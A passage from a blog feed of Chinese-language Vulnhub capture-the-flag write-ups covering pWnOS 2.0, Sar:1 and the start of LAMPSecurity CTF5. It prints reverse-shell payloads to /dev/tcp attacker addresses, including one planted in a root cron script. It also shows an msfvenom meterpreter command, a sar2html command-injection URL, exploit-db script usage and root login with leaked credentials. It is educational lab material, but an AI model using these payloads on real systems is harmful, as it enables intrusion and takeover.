&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527134242733.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;2. 权限立足&lt;/h1&gt;
&lt;h2&gt;2.1 CMS EXP 利用（Simple PHP Blog 0.4.0）&lt;/h2&gt;
&lt;p&gt;搜索 &lt;code&gt;Simple PHP Blog 0.4.0 exploit&lt;/code&gt;，通过搜索引擎发现这个 CMS 存在很多可利用漏洞：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527134728540.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;参考：https://www.exploit-db.com/exploits/1191&lt;/p&gt;
&lt;p&gt;用 Kali 自带的 searchsploit 查找：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;searchsploit Simple PHP Blog 0.4.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527135106078.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拷贝 EXP 到当前目录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;searchsploit -m php/webapps/1191.pl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装依赖：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 检查 Perl 是否已安装
perl -v

# 安装所需模块
sudo cpan LWP::UserAgent HTTP::Request::Common Getopt::Std Switch

# 缺少 Switch 模块时运行
sudo apt install libswitch-perl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;EXP 用法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Usage   : ./1191.pl [-h host] [-e exploit]

        -?      : this menu
        -h      : host
        -e      : exploit
                (1)     : Upload cmd.php in [site]/images/
                (2)     : Retreive Password file (hash)
                (3)     : Set New User Name and Password
                        -U      : user name
                        -P      : password
                (4)     : Delete a System File
                        -F      : Path and System File
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先用 &lt;code&gt;-e 3&lt;/code&gt; 修改密码，创建可登录账户：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./1191.pl -h http://10.10.10.100/blog -e 3 -U a -P a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功登录页面。在阅读 EXP 的时候发现它存在任意文件上传的漏洞，其中给出了文件上传目录就是 &lt;code&gt;/images&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527142423210.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;2.2 文件上传 + 反弹 Shell&lt;/h2&gt;
&lt;p&gt;先上传测试图片，验证 &lt;code&gt;/images&lt;/code&gt; 目录是否可访问：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://10.10.10.100/blog/images/test01.jpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527142313251.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确认可访问，上传反弹 Shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php exec(&quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.128/4444 0&amp;gt;&amp;amp;1&apos;&quot;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本地监听后，访问触发：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://10.10.10.100/blog/images/shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527142528201.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功拿到 Web Shell。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;3. 提权&lt;/h1&gt;
&lt;h2&gt;3.1 基础信息收集&lt;/h2&gt;
&lt;p&gt;拿到 Web Shell 以后，先对靶机的基础信息做了一个全面的了解。&lt;/p&gt;
&lt;h3&gt;内核版本&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;www-data@web:/var/www/blog/images$ uname -a
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;计划任务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;www-data@web:/var/www/blog/images$ cat /etc/crontab
# /etc/crontab: system-wide crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;计划任务没有可直接利用的项，转向凭证泄露方向。&lt;/p&gt;
&lt;h3&gt;用户列表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:0:0:MySQL Server,,,:/root:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:104:110::/var/lib/landscape:/bin/false
dan:x:1000:1000:Dan Privett,,,:/home/dan:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注意 mysql 用户ID为0:0, 应该有root用户权限。可以优先考虑mysql相关的凭证泄露问题。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;3.2 凭证泄露&lt;/h2&gt;
&lt;p&gt;在基础信息中没得到可直接利用的地方，因为是一台偏简单的靶机，觉得作者想通过凭证泄露的手段让我们登录提权，随即开始寻找凭证泄露的信息。&lt;/p&gt;
&lt;p&gt;先搜配置文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@web:/var/www$ find . -name &apos;*conf*&apos;
./includes/config.inc.php
./blog/scripts/sb_config.php
./blog/config
./blog/config/config.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 &lt;code&gt;/var/www/&lt;/code&gt; 目录下发现 &lt;code&gt;mysqli_connect.php&lt;/code&gt;，打开一看有一套凭证，但是尝试以后发现不正确，MySQL 和 su 都不能登录，同时也尝试了另外一个用户也不行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@web:/var/www$ cat mysqli_connect.php
&amp;lt;?php
DEFINE (&apos;DB_USER&apos;, &apos;root&apos;);
DEFINE (&apos;DB_PASSWORD&apos;, &apos;goodday&apos;);    # &amp;lt;-- 此凭证无效
DEFINE (&apos;DB_HOST&apos;, &apos;localhost&apos;);
DEFINE (&apos;DB_NAME&apos;, &apos;ch16&apos;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527194705688.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在退回到 &lt;code&gt;/var&lt;/code&gt; 目录下时，发现有一个同名的 &lt;code&gt;mysqli_connect.php&lt;/code&gt;，打开文件一看里面也有一套凭证，尝试以后发现凭证正确：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@web:/var$ cat mysqli_connect.php
# ...
&amp;lt;?php
DEFINE (&apos;DB_USER&apos;, &apos;root&apos;);
DEFINE (&apos;DB_PASSWORD&apos;, &apos;root@ISIntS&apos;);    # &amp;lt;-- 有效凭证
DEFINE (&apos;DB_HOST&apos;, &apos;localhost&apos;);
DEFINE (&apos;DB_NAME&apos;, &apos;ch16&apos;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;用户名&lt;/td&gt;
&lt;td&gt;root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;密码&lt;/td&gt;
&lt;td&gt;root@ISIntS&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;3.3 SSH 直登 root&lt;/h2&gt;
&lt;p&gt;通过 SSH 尝试，这个泄露的凭证能直接登录 root 用户：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527195501272.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功获取 root shell。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;4. 补充&lt;/h1&gt;
&lt;h2&gt;4.1 SimplePHPBlog v0.4.0 漏洞分析&lt;/h2&gt;
&lt;h3&gt;攻击流程图&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt; 获取密码哈希 → 删除密码文件 → 创建临时用户 → 登录获取会话  
       ↓  
   上传 Web Shell (cmd.php, reset.php)  
       ↓  
   恢复原始密码哈希 → 清理痕迹 (删除 reset.php)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4.2 网站主页SQL注入尝试&lt;/h2&gt;
&lt;p&gt;首页登录框存在sql注入，判断secure_file_priv为空后；并且存在info文件中的phpinfo信息，可以看到站点的绝对路径，直接尝试写一句话&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260528140720031.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Vulnhub Sar_1 WriteUp</title><link>https://blog.owenwoow.com/posts/2026/05/26/sar_1/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/05/26/sar_1/</guid><description>Sar: 1 是一台 Vulnhub 中的 Linux 靶机，核心攻击面为 Web 应用中，结合靶机上可写的计划任务脚本完成提权，最终获取 Root 权限。</description><pubDate>Tue, 26 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场介绍&lt;/h3&gt;
&lt;p&gt;Sar: 1 是一台 Vulnhub 中的 Linux 靶机，核心攻击面为 Web 应用中，结合靶机上可写的计划任务脚本完成提权，最终获取 Root 权限。&lt;/p&gt;
&lt;h3&gt;靶场信息&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;靶机名&lt;/td&gt;
&lt;td&gt;Sar: 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 IP&lt;/td&gt;
&lt;td&gt;192.168.200.161&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 URL&lt;/td&gt;
&lt;td&gt;https://www.vulnhub.com/entry/sar-1,425/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;下载（镜像）&lt;/td&gt;
&lt;td&gt;https://download.vulnhub.com/sar/sar.zip&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;目标&lt;/td&gt;
&lt;td&gt;获取 Root 权限&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;涉及工具&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Nmap&lt;/li&gt;
&lt;li&gt;Dirsearch&lt;/li&gt;
&lt;li&gt;Searchsploit / ExploitDB&lt;/li&gt;
&lt;li&gt;Msfvenom&lt;/li&gt;
&lt;li&gt;Netcat (nc)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;1. 信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT -p- --min-rate 10000 192.168.200.161
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260525085113031.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;开放端口：80&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sT -sV -sC -O -p80 192.168.200.161 -oA detail
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260525085417474.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;UDP扫描&lt;/h3&gt;
&lt;p&gt;tcp 开放端口过少，扫描 UDP 服务。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sU --top-ports 20 192.168.200.161 -oA udp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260525085609035.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在这台靶机应该只开放 80，我们的立足点应该也在 80。&lt;/p&gt;
&lt;h2&gt;1.2 Web探测&lt;/h2&gt;
&lt;h3&gt;目录枚举&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u &apos;http://192.168.200.161/&apos; -o dirs.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260525085906049.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;重点两个结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[20:57:54] 200 -   24KB - /phpinfo.php
[20:57:55] 200 -    9B  - /robots.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问 &lt;code&gt;robots.txt&lt;/code&gt;，发现路径 &lt;code&gt;sar2HTML&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.161/robots.txt
→ sar2HTML

http://192.168.200.161/sar2HTML/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260525090821416.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;2. 权限立足&lt;/h1&gt;
&lt;h2&gt;2.1 Web渗透&lt;/h2&gt;
&lt;p&gt;网页上说：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Use built in report generator:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Click &quot;NEW&quot; button, enter ip address of host, user name and password and click &quot;Capture report&quot; button.&lt;/li&gt;
&lt;li&gt;Or simply type &lt;code&gt;sar2html -a [host ip] [user name] [password]&lt;/code&gt; at command prompt.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;对网页执行基础操作，查看网页功能和检查网页源代码猜测有点像是远程命令执行，还有一个文件上传的入口。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260525091040882.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里有一个传输数据的接口，尝试了以后并没有执行命令，或许是我的方式不对：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ipaddr=1&amp;amp;userna=2&amp;amp;passwd=3&amp;amp;task=addhost&amp;amp;plot=NEW&amp;amp;Submit=Capture+report
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试不行，搜索标题 &lt;code&gt;sar2html Ver 3.2.1&lt;/code&gt;，好家伙跳出来的全是漏洞，那么这应该是一个 CMS 服务，用公开 exp 就能拿下，不需要我们自己去探测。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260525110638972.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在 Kali 中搜索漏洞相关信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;searchsploit sar2html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260525194015138.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一个是交互式 shell，一个是告诉你怎么利用这个漏洞的报告。&lt;/p&gt;
&lt;p&gt;查看 &lt;code&gt;php/webapps/47204.txt&lt;/code&gt;，payload 如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://&amp;lt;ipaddr&amp;gt;/index.php?plot=;&amp;lt;command-here&amp;gt;

# 示例：
http://192.168.200.161/sar2HTML/index.php?plot=;ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260525194105608.png&quot; alt=&quot;网页回显位置&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;2.2 反弹Shell&lt;/h2&gt;
&lt;p&gt;问题是现在怎么通过这个命令注入去提升交互性更强的 shell。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;生成 shell 上传 寻找目录&lt;/s&gt; 生成的反弹有问题，改为最基础的反弹 shell，并结合文件上传拿下webshell。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.200.142 lport=4444 -f raw &amp;gt; sar.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260525195421236.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;重写反弹 shell 文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# vim shell.php
&amp;lt;?php exec(&quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.200.142/4444 0&amp;gt;&amp;amp;1&apos;&quot;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里遇到了一个直接将配置通过 URL 方式传输的问题，编码上有问题。结合之前探测到的一个点——有个文件上传入口，我决定通过这个上传路径去上传文件，如果不行，再去解决URL编码的问题。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260525195643332.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;执行交互式 shell exp，对目录进行探测，找出上传路径。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python ./49344.py
Enter The url =&amp;gt; http://192.168.200.161/sar2HTML/
Command =&amp;gt; ls
HPUX
Linux
SunOS
LICENSE
index.php
sar2html
sarDATA
sarFILE

Command =&amp;gt; ls -l sarDATA
HPUX
Linux
SunOS
total 8
drwxr-xr-x 2 www-data www-data 4096 May 25 08:06 sar2html.21729
drwxr-xr-x 2 www-data www-data 4096 May 25 08:06 uPLOAD   # &amp;lt;-- 上传目录

Command =&amp;gt; ls -l sarDATA/uPLOAD
HPUX
Linux
SunOS
total 4
-rw-r--r-- 1 www-data www-data 1116 May 25 08:06 sar.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问存放反弹 shell 的网页，Kali 开启监听，触发反弹 shell。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.161/sar2HTML/sarDATA/uPLOAD/shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260525195954536.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;3. 提权&lt;/h1&gt;
&lt;h2&gt;3.1 信息收集&lt;/h2&gt;
&lt;p&gt;这里省略了一些基础信息的收集，只保留了提权的攻击链。&lt;/p&gt;
&lt;h3&gt;计划任务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;www-data@sar:/var/www/html/sar2HTML/sarDATA/uPLOAD$ cat /etc/crontab
# /etc/crontab: system-wide crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )
#
*/5  *    * * *   root    cd /var/www/html/ &amp;amp;&amp;amp; sudo ./finally.sh   # &amp;lt;-- root 每 5 分钟执行一次
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3.2 Cron Job 提权&lt;/h2&gt;
&lt;p&gt;查看 &lt;code&gt;/var/www/html/&lt;/code&gt; 目录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@sar:/var/www/html$ ls -liah
total 40K
408197 -rwxr-xr-x 1 root     root       22 Oct 20  2019 finally.sh
405623 -rw-r--r-- 1 www-data www-data  11K Oct 20  2019 index.html
408195 -rw-r--r-- 1 www-data www-data   21 Oct 20  2019 phpinfo.php
400981 -rw-r--r-- 1 root     root        9 Oct 21  2019 robots.txt
405734 drwxr-xr-x 4 www-data www-data 4.0K Oct 20  2019 sar2HTML
408199 -rwxrwxrwx 1 www-data www-data   30 Oct 21  2019 write.sh   # &amp;lt;-- 全局可写！

www-data@sar:/var/www/html$ cat finally.sh
#!/bin/sh

./write.sh   # &amp;lt;-- finally.sh 调用 write.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;finally.sh&lt;/code&gt; 由 root 通过 cron 每 5 分钟执行，且它调用了全局可写的 &lt;code&gt;write.sh&lt;/code&gt;，直接往 &lt;code&gt;write.sh&lt;/code&gt; 里写反弹 shell。&lt;/p&gt;
&lt;p&gt;注意：反弹 shell 要写执行脚本的&lt;strong&gt;第一条命令位置&lt;/strong&gt;（写在最后无法执行）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# vi write.sh

www-data@sar:/var/www/html$ cat write.sh
#!/bin/sh
/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.200.142/4443 0&amp;gt;&amp;amp;1&apos;
touch /tmp/gateway
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等待 cron 触发，通过 nc 反弹获得 root shell。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260526160330717.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;3.3 获取 Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;root@sar:~# ls -liah
total 44K
282877 -rw-r--r--  1 root root   33 Oct 20  2019 root.txt

root@sar:~# cat root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Sar_1/image-20260526160356867.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;4. 总结&lt;/h1&gt;
&lt;p&gt;非常简单的一台靶机，从 CMS 利用 --&amp;gt;上传反弹 shell --&amp;gt; 计划任务提权。都是之前靶机试过很多次的内容。&lt;/p&gt;
&lt;p&gt;不过我还是不够细心，在 Web 探测的时候觉得系统这么简陋，就没往他说 CMS 这块去想，还有我觉得 CMS 都是 Blog 系统的思维定式有点影响到我了。&lt;/p&gt;
&lt;p&gt;提权时，我写入反弹 shell 的方法出了点问题导致用了很长时间才成功。&lt;/p&gt;
</content:encoded></item><item><title>Vulnhub LAMPSecurity CTF5 WriteUp</title><link>https://blog.owenwoow.com/posts/2026/05/21/lamp_security_ctf5/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/05/21/lamp_security_ctf5/</guid><description>LAMPSecurity CTF5 是 madirish2600 出品的 LAMPSecurity 系列第五个靶机，基于 Fedora 8 的 LAMP 环境搭建。靶机不提供任何初始凭据，需要从零开始通过信息收集和漏洞利用获取系统权限。涉及 NanoCMS 凭证泄露、MySQL 数据库利用、Samba 服务探测等多个攻击面。</description><pubDate>Thu, 21 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场介绍&lt;/h3&gt;
&lt;p&gt;LAMPSecurity CTF5 是 madirish2600 出品的 LAMPSecurity 系列第五个靶机，基于 Fedora 8 的 LAMP 环境搭建。靶机不提供任何初始凭据，需要从零开始通过信息收集和漏洞利用获取系统权限。涉及 NanoCMS 凭证泄露、MySQL 数据库利用、Samba 服务探测等多个攻击面。&lt;/p&gt;
&lt;h3&gt;靶场信息&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;靶机名&lt;/td&gt;
&lt;td&gt;LAMPSecurity: CTF5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 IP&lt;/td&gt;
&lt;td&gt;192.168.200.160&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 URL&lt;/td&gt;
&lt;td&gt;https://www.vulnhub.com/entry/lampsecurity-ctf5,84/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;下载（镜像）&lt;/td&gt;
&lt;td&gt;https://download.vulnhub.com/lampsecurity/ctf5.zip&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;涉及工具&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Nmap&lt;/li&gt;
&lt;li&gt;Smbclient / Smbmap&lt;/li&gt;
&lt;li&gt;Dirsearch&lt;/li&gt;
&lt;li&gt;John&lt;/li&gt;
&lt;li&gt;Python&lt;/li&gt;
&lt;li&gt;MySQL CLI&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;思维导图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/LAMP_Security_CTF5_%E6%80%9D%E7%BB%B4%E5%AF%BC%E5%9B%BE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;1. 信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap 信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT -p- --min-rate=10000 192.168.200.160 -oA ports
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520092037076.png&quot; alt=&quot;nmap端口扫描结果&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat ports.nmap | grep open | awk -F&apos;/&apos; &apos;{print $1}&apos;|paste -sd &apos;,&apos;
22,25,80,110,111,139,143,445,901,3306,33051
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520092340655.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;存在 RPC，需补充 UDP 扫描&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;开放端口：22,25,80,110,111,139,143,445,901,3306,33051&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT -sV -sC -O -p $ports 192.168.200.160 -oA detail
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-19 21:23 EDT
Nmap scan report for 192.168.200.160
Host is up (0.00072s latency).

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 4.7 (protocol 2.0)
| ssh-hostkey: 
|   1024 05:c3:aa:15:2b:57:c7:f4:2b:d3:41:1c:74:76:cd:3d (DSA)
|_  2048 43:fa:3c:08:ab:e7:8b:39:c3:d6:f3:a4:54:19:fe:a6 (RSA)
25/tcp    open  smtp        Sendmail 8.14.1/8.14.1
80/tcp    open  http        Apache httpd 2.2.6 ((Fedora))
|_http-title: Phake Organization
110/tcp   open  pop3        ipop3d 2006k.101
